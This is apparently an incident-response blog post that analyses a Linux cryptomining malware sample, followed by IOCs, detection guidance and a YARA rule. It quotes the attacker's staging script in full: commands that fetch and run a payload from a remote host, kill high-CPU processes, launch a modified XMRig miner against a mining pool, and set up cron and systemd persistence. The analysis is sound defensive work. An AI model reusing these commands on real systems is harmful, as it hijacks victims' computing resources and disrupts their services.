A Means to an End

When thinking about the most financially attractive path that threat actors take, it’s usually ransomware. With ransomware estimated to have generated $57 billion in 2025 alone, it makes sense. However, the problem with ransomware lies in the need for threat actors to compromise several hosts using sophisticated lateral movement techniques in addition to maintaining open channels of communication with their victims post-compromise (to negotiate the ransom), which ultimately tests the threat actor’s Operational Security (OpSec). Lapses in their OpSec, vulnerabilities in the malicious infrastructure or simply being human (to err) could lead to situations such as what befell well-known groups such as LockBit.

Where ransomware demands attention, a quieter monetisation strategy has arisen in cryptocurrency mining. The surge (or resurgence) of crypto mining malware, while being slower, has been facilitated by the significantly reduced need for OpSec that ransomware groups require. The only true similarity within the two is in their need to breach the perimeter. For cryptocurrency mining, the only thing that threat actors need is to ensure that their instance of a crypto-mining client does not rouse the suspicion of an EDR agent.

I recently came across one of these samples while working as a member of MWR’s Incident Response team on an investigation into the popularity of crypto miner malware campaigns. Typically, threat actors deploy malware of this kind through the compromise of internet-facing technology such as web applications or known vulnerable services where attackers can gain remote command execution, embed persistence and complete the threat actor’s “actions on objectives”; mining cryptocurrency. This post walks through the two samples used in this compromise in order to pull out detection-relevant details that could help identify variants of crypto-mining malware in the wild.

Setting the Stage

Typically, staging payloads provide the benefit of ensuring that attacker-delivered payloads are small and can then be used to retrieve larger payloads. The exploited vulnerability on a Linux host allowed the threat actor to execute a base64-encoded bash script that performed the following actions:

  1. Identify a suitable directory to use for the staging payload
  2. Download the payload
  3. Initialise the payload’s execution
  4. Establish persistence

Identifying a suitable directory

The script’s opening lines of code defined a bash function that was used to determine whether the user executing the code had the permissions to write to a specified directory and to execute scripts from within that directory.

#!/bin/sh
svalid() {
p=$1/vinars
echo -e ‘#!/bin/sh\necho “ginerd”‘ > $p
chmod 755 $p
eval “$p”
s=$?
rm $p
return $s
}

The script starts by defining an svalid function where we can see the first argument provided to the function had the string vinars appended to it, with the result being stored in the function’s $p variable. The function then attempts to write a small script to the $p variable, which will only print the string ginerd to STDOUT; successful execution will indicate that the directory can be written to and code executed from. The file is then given read and execute permissions (which is the value 5) for both the running user and their group. The script then calls the eval function to execute the vinars file which is used to determine whether execution can be performed from the path specified in the $p variable. The success or failure of this execution is stored in the $s variable using the $?. Once write and execute permissions have been tested, the function then cleans up and returns the $s boolean value.

Following the script’s opening lines defining the svalid function, the first actions taken by the script were to perform resource management, as shown below:

ps aux | awk ‘{if($3 > 90) print $2}’ | xargs kill -SIGSTOP
ps -A -o stat,pid | grep ‘^T’ | awk ‘{print $2}’ | xargs kill -9

Following the function declaration, the script makes provisions for resource utilisation by ending processes that are making use of more than 90% of the host’s CPU and ending processes that are stopped. This is a telling detail: the miner itself makes use of significant CPU resources and the more resources it can use, the more profitable it is for the threat actor. Once done, the script then makes an attempt to find a writable path using the svalid function discussed above.

if [ “$(id -u)” != “0” ]; then
svalid “/dev/shm”
if [ $? -eq 0 ]; then
dirr=/dev/shm
else
for path in $(find / -type d \( -path /proc -o -path /sys \) -prune -o -writable -executable -type d -print 2>/dev/null); do
svalid “$path”
if [ $? -eq 0 ]; then
dirr=$path
break
fi
done
fi
fi

If the process is not running as root (i.e. User ID != 0), the program will test if it can use the /dev/shm directory to write malware to. Should that fail, the script will then enter a for loop to find a suitable location either within the /proc or /sys directories. Once this location has been identified and chosen, a global variable (dirr) within the script is updated with the writable file path.

Should the loop fail to identify a suitable directory, which is indicated by the $dirr variable being an empty string, the script will finally fall back to the /tmp directory. This is likely a fallback option as /tmp is writable by anyone, but these files are normally deleted on reboot or after 10 days. The $dirr variable then has the string /duet appended to it, assumed to be an inconspicuous name from a system perspective. The duet directory is then created in the given filepath and given global read/write/execute permissions using chmod 777. The process then navigates to the newly created directory using cd, which is followed by a check to determine whether the second stage payload is already present in the directory:

if [ “$dirr” = “” ]; then
dirr=/tmp
fi
dirr=”$dirr/duet”
mkdir $dirr
chmod 777 $dirr
cd $dirr
sha256sum app | grep 42522092a25fd6420fb0dca9dce53fd78fd46b273c67c15fcc8a6839454985dc

If the second stage is not present, it will be downloaded.

Downloading the payload

if [ $? -ne 0 ]; then
chmod 755 app
rm -rf app; rm app
nam=”app”
eds=”https://<REDACTED>/wp-content/uploads/2025/09/Copy-of-IMG_20250820_111630-50×50.jpg”
por=”443″
ipp=”66.235.200.145″
adar=”<REDACTED>”
curl –resolve “$adar:$por:$ipp” -o $nam –insecure $eds
if [ $? -ne 0 ]; then
wget –no-check-certificate -O $nam $eds
if [ $? -ne 0 ]; then
node -e “const u=require(‘url’).parse(‘$eds’); …”
if [ $? -ne 0 ]; then
python -c “import socket,urllib.request, …”
fi
fi
fi
fi

The script then prepares to download the miner malware by first checking the return value from the sha256sum command that was previously ran. If the command returned anything other than SUCCESS (0), the script will remove the app file whether it exists or not. Following the file’s deletion, four attempts to download the script are performed using curl, wget, node and python respectively. Each subsequent attempt will be performed if the previous command returned anything other than SUCCESS. The downloaded file is then written to the target directory under the filename app instead of the filename specified by its download URL.

What I found interesting here is the redundancy in the download mechanism since it had four different methods across four different runtimes. This suggests the threat actor has encountered environments where one or more of these tools are unavailable and has adapted accordingly. It’s a small detail, but it speaks to the operational maturity of the campaign.

From a detection perspective, the download URL made use of a legitimate, compromised application to host the sample. Additionally, the fact that the URL appears to be downloading an image would not raise suspicions. However, when being written to disk, it is unlikely that Linux is afforded the same coverage as Windows when it comes to its file investigation capabilities. As a result of this, certain EDR agents may not view the file as being malicious enough to attribute a high risk-rating to the sample.

Executing the payload

Following the file’s download, execute permissions are given to app using the chmod command. This is followed by the execution of a backgrounded while loop that will keep starting and waiting for the completion of backgrounded instances of the app malware.

chmod 755 app
((
while true; do
./app -o auto.c3pool.org:19999 -u 85qXakV…x7 –rig-id cpufc8eb87a9174 -k &
wait $!
sleep 2
done
) &) &

The use of the wait $! command waits for the previous command to complete its execution, which would allow the application to keep starting new instances when the previous instance has stopped running to ensure only a single instance is running at a time. Additionally, this approach will allow the script to continue its execution without relying on this loop finishing.

Establishing persistence

The final step of the script’s execution is to attempt to establish persistence. One instance of the downloaded crypto-miner malware will run in the current session under the current user context which was executed by the bash script. A second, back-up execution of the crypto miner will be executed through the creation of a cron job. What caught my eye here is the use of the flock (File Lock) command, which allows you to have “blocking” functionality to prevent the same command from being run in parallel. This will prevent the crypto-miner from having two instances running at the same time, which would use all system resources and effectively turn into a DoS condition for the server, something the threat actor clearly wants to avoid, as a server falling over draws attention.

cronny=”* * * * * /usr/bin/flock -n /var/tmp/verl.lock -c ‘cd $dirr; exec ./app -o auto.c3pool.org:19999 -u 85qXakV…x7 –rig-id cpufc8eb87a9174 -k &'”
echo “$cronny” | crontab –
DBUS_SESSSION_BUS_ADDRESS=unix:/run/user/$(id -u)/bus systemd-run –user –on-calendar=’*:*:00′ /usr/bin/flock -n /var/tmp/verl.lock -c ‘cd $dirr; exec ./app -o auto.c3pool.org:19999 -u 85qXakV…x7 –rig-id cpufc8eb87a9174 -k &’
trap ” SIG
( sleep 40; kill -9 $PPID ) &
exec ./app -o auto.c3pool.org:19999 -u 85qXakV…x7 –rig-id cpufc8eb87a9174 -k

Persistence is established through both systemd and cron, providing two independent mechanisms to ensure the miner survives reboots and process termination.

The Crypto-Miner Staged Payload

The actual miner sample (written to /dev/shm/duet/app in the staging payload above) was executed near the end of the script with persistence being established through both systemd and cron. The crypto-miner was based on the legitimate Monero XMRig Mining CLI client, however with custom modifications for additional functionality and to bypass detections and analysis.

Comparisons made between the legitimate and custom binaries confirm that both instances were statically compiled and stripped. Differences were noticed in string entries associated with DNS resolutions and process enumeration. Specifically, the nameserver keyword led to the discovery of the malicious binary writing to the /etc/resolv.conf file in order to ensure that it would succeed in resolving its target domain name by temporarily modifying the DNS configuration:

resolv.conf entries in the malicious binary

resolv.conf entries in the malicious binary

This was also corroborated by network capture logs that were generated through sandboxing the miner using Wireshark:

Binary string specified DNS entry

Binary string specified DNS entry

By modifying /etc/resolv.conf, the malicious binary can ensure that a preferred IP address is used for the mining pool’s DNS query. Using the strace Linux utility, we can gain information on actions that are taken by the application despite it being statically compiled with stripped symbols. System calls (syscalls) are made to the kernel’s API and while it is possible to get rid of symbols, ultimately functionality such as reading a file or the output of a command will use a syscall like read, and when opening a file will use syscalls like open.

5508 open(“/etc/resolv.conf”, O_RDONLY|O_LARGEFILE|O_CLOEXEC <unfinished …>
5508 <… open resumed>) = 14
5508 read(14, “# This is /run/systemd/resolve/s”…, 248) = 248
5508 read(14, “# This is a dynamic resolv.conf “…, 248) = 248
… REDACTED FOR BREVITY …
5508 close(14) = 0
5508 socket(AF_INET, SOCK_DGRAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP <unfinished …>
5508 <… socket resumed>) = 14
5508 bind(14, {sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr(“0.0.0.0”)}, 16) = 0
5508 sendto(14, “…\4auto\6c3pool\3org\0\0\1\0″…, 33, MSG_NOSIGNAL, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr(“127.0.0.53”)}, 16) = 33
5508 sendto(14, “…\4auto\6c3pool\3org\0\0\1\0″…, 33, MSG_NOSIGNAL, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr(“1.1.1.1”)}, 16) = -1 ENETUNREACH
5508 sendto(14, “…\4auto\6c3pool\3org\0\0\1\0″…, 33, MSG_NOSIGNAL, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr(“180.76.76.76”)}, 16) = -1 ENETUNREACH
… REDACTED FOR BREVITY …
5508 recvmsg(14, {msg_name={sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr(“127.0.0.53”)}, …}) = 49
5508 close(14) = 0

In the strace excerpt shown above, we can see the malicious binary’s embedded DNS nameservers (180[.]76[.]76[.]76) and the sendto syscall contains requests to the several IP addresses listed in the binary’s embedded resolver configuration file strings. This IP address has been linked to a significant amount of malware based on its VirusTotal query results:

VirusTotal Related Malware

VirusTotal query results for the embedded DNS nameserver

For example, an investigation into the Blackwood APT revealed that the target mining pool endpoint was being utilised in a significant amount of these cryptocurrency mining attacks.

Additionally, following these DNS requests, on the live internet this address resolved to 47[.]83[.]133[.]27. We can also see this within the strace logs made from the sample’s execution. Note that the connection attempt was made against the local 10.31.0.129 IP address through a manipulation of the host’s DNS configuration:

5508 recvmsg(14, {msg_name={sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr(“127.0.0.53”)}, …}) = 49
5508 close(14) = 0
… REDACTED FOR BREVITY …
5379 socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 14
5379 setsockopt(14, SOL_TCP, TCP_NODELAY, [1], 4) = 0
5379 setsockopt(14, SOL_SOCKET, SO_KEEPALIVE, [1], 4) = 0
5379 setsockopt(14, SOL_TCP, TCP_KEEPIDLE, [60], 4) = 0
5379 setsockopt(14, SOL_TCP, TCP_KEEPINTVL, [1], 4) = 0
5379 setsockopt(14, SOL_TCP, TCP_KEEPCNT, [10], 4) = 0
5379 connect(14, {sa_family=AF_INET, sin_port=htons(19999), sin_addr=inet_addr(“10.31.0.129”)}, 16) = -1 EINPROGRESS
… REDACTED FOR BREVITY …
5379 write(14, “{\”id\”:1,\”jsonrpc\”:\”2.0\”,\”method\””…, 1387) = 1387

Immediately after the connection had been established, the application issued a Monero jsonrpc:login method to the mining pool. This is a request using Monero’s implementation of the Stratum protocol. Similar investigations were performed against a Windows variant of this malware by Akamai in March of 2025. According to that article, a little under $300,000 (USD) was earned by the threat actor in total at the time of writing based on the price of Monero at the time of investigation.

From a threat actor perspective, attacks of this nature may not have the high payouts typically associated with their flashier and more destructive ransomware counterparts; however, the lower (and more stable) income stream comes with the added benefit of increased OpSec. The modifications applied to this malware did not provide any indication of more nefarious Command and Control techniques typically associated with APT groups.

Indicators of Compromise

As one could imagine, from the threat actor’s perspective, the aim for campaigns of this nature is to blend into the overall environment. The noise from enterprise environments where internet-exposed resources may go unnoticed for extended periods of time make this style of attack easier to pull off than its counterparts. In order to aid defenders in identifying instances of this malware within their estate, the following indicators of compromise should make this sample easier to detect.

Hashing Algorithm Hash
MD5 9ad4b799c8c667f2fce83989915ee555
SHA1 124972d941c66ef771b8ea23108a3912db85fa43
SHA256 42522092a25fd6420fb0dca9dce53fd78fd46b273c67c15fcc8a6839454985dc

 

Network Indicator Value
Fully Qualified Domain Name auto[.]c3pool[.]org
IP Address (mining pool) 47[.]238[.]151[.]9
IP Address (mining pool) 47[.]83[.]133[.]27
IP Address (DNS) 180[.]76[.]76[.]76
IP Address (DNS) 2001[:]4860[:]4860[::][:]8888
IP Address (DNS) 2400[:]3200[::][:]1

MITRE ATT&CK TTPs

MITRE ID Detail URL
T1106 Native API https://attack.mitre.org/techniques/T1106/
T1053 Scheduled Task/Job https://attack.mitre.org/techniques/T1053/
T1543.002 Systemd Service https://attack.mitre.org/techniques/T1543/002/
T1053.003 Cron https://attack.mitre.org/techniques/T1053/003/
T1678 Delay Execution https://attack.mitre.org/techniques/T1678/
T1083 File and Directory Discovery https://attack.mitre.org/techniques/T1083/
T1057 Process Discovery https://attack.mitre.org/techniques/T1057/
T1082 System Information Discovery https://attack.mitre.org/techniques/T1082/
T1016 System Network Configuration Discovery https://attack.mitre.org/techniques/T1016/
T1496 Resource Hijacking https://attack.mitre.org/techniques/T1496/
T1496.001 Compute Hijacking https://attack.mitre.org/techniques/T1496/001/

Detection Guidance

Beyond hash-based detection, the following behavioural indicators may assist SOC analysts and threat hunters in identifying this or similar crypto-mining malware:

  • CPU anomalies: Processes consistently consuming >90% CPU, particularly from non-standard paths such as /dev/shm, /tmp, or user-writable directories.
  • Suspicious directory activity: File creation in /dev/shm/duet/, /tmp/duet/, or similar non-standard paths by non-root processes.
  • Cron job creation: New cron entries containing flock commands, particularly those referencing lock files in /var/tmp/.
  • Systemd user timers: Creation of user-level systemd timers via systemd-run --user, especially those executing binaries from temporary directories.
  • DNS configuration tampering: Modifications to /etc/resolv.conf by non-system processes, or the addition of unexpected nameserver entries.
  • Mining pool connections: Outbound connections to known mining pools (e.g. c3pool[.]org) on non-standard ports such as 19999.
  • Process killing behaviour: Automated termination of high-CPU processes via kill -SIGSTOP followed by kill -9 on stopped processes — this is characteristic of miners making room for themselves.

YARA Rule

In order to assist in local threat hunting for this specific binary, I have written a YARA rule that can be used to scan hosts locally in an attempt to detect the presence of this specific malware sample.

import elf
rule XmrigModdedMiner {
meta:
description = “Detect xmrig ELF binary”
author = “Gladwin Mohlamonyane (MWR CyberSec)”
date = “2026-02-10”
strings:
$dns_strings = /nameserver [0-9]{1,3}\./
$cmd = “find /proc”
$resolver = “resolv.conf”
$proc_name = “cmdline”
$rig = “api.xmrig.com”
$protocol = “stratum+tcp://”
$open_ssl_config = “openssl.cnf”
$user_enum = “/etc/passwd”
$gcc_banner = “built on Jan 1 1980 with GCC”
condition:
elf.machine == elf.EM_X86_64 and
$cmd and
$dns_strings and
$resolver and
$rig and
$protocol and
$open_ssl_config and
$proc_name and
$user_enum and $gcc_banner
}

From an EDR perspective, it may be possible to directly make use of YARA within the EDR to automate threat hunting and actions following a positive detection of the sample. However, this access is limited to EDR solutions that have already implemented YARA support.

Conclusion

Crypto-mining malware may lack the drama of ransomware, but what it trades in impact it gains in stealth and longevity. This particular sample demonstrated a level of operational maturity that I think is worth paying attention to: redundant download mechanisms across four runtimes, resource management to avoid crashing the host, flock-based concurrency control to prevent self-inflicted denial of service, and dual persistence through both cron and systemd.

The modifications to the legitimate XMRig client, particularly the embedded DNS resolver manipulation, show a threat actor who has iterated on their tooling to maximise reliability across diverse Linux environments. And at roughly $300,000 in earnings (based on Akamai’s investigation of the Windows variant), the economics clearly work for them.

For defenders, the key takeaway is that these campaigns thrive on neglect. Internet-exposed Linux hosts that lack adequate monitoring are prime targets. The behavioural indicators outlined above, particularly CPU anomalies, /etc/resolv.conf tampering, and connections to mining pool endpoints, should be incorporated into detection logic where possible. The YARA rule provided can assist with local threat hunting for this specific variant.

If you notice anything I may have missed or have encountered similar samples in your environment, feel free to reach out.